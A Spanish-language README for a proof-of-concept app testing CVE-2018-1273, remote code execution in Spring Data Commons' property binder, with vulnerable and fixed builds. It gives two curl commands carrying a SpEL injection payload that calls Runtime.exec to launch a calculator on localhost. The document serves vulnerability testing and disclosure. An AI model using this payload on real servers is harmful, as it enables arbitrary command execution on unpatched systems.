
PoC para CVE-2018-1273: RCE del binder de propiedades de Spring Data Commons mediante parámetros de solicitud manipulados contra endpoints REST. Incluye versiones vulnerables y corregidas para pruebas.
Spring Data Commons, versiones anteriores a 1.13 a 1.13.10, 2.0 a 2.0.5, y versiones antiguas no soportadas, contienen una vulnerabilidad en el enlazador de propiedades causada por una neutralización incorrecta de elementos especiales. Un usuario malicioso remoto no autenticado (o atacante) puede enviar parámetros de solicitud especialmente diseñados contra recursos HTTP respaldados por Spring Data REST o utilizando el enlace de carga útil de solicitudes basado en proyecciones de Spring Data, lo que puede llevar a un ataque de ejecución remota de código.
Más información aquí
La aplicación se puede probar con la versión vulnerable o la versión corregida de Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Ejecute el siguiente comando para comprobar si se puede explotar la vulnerabilidad:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Creado por https://www.arima.eu
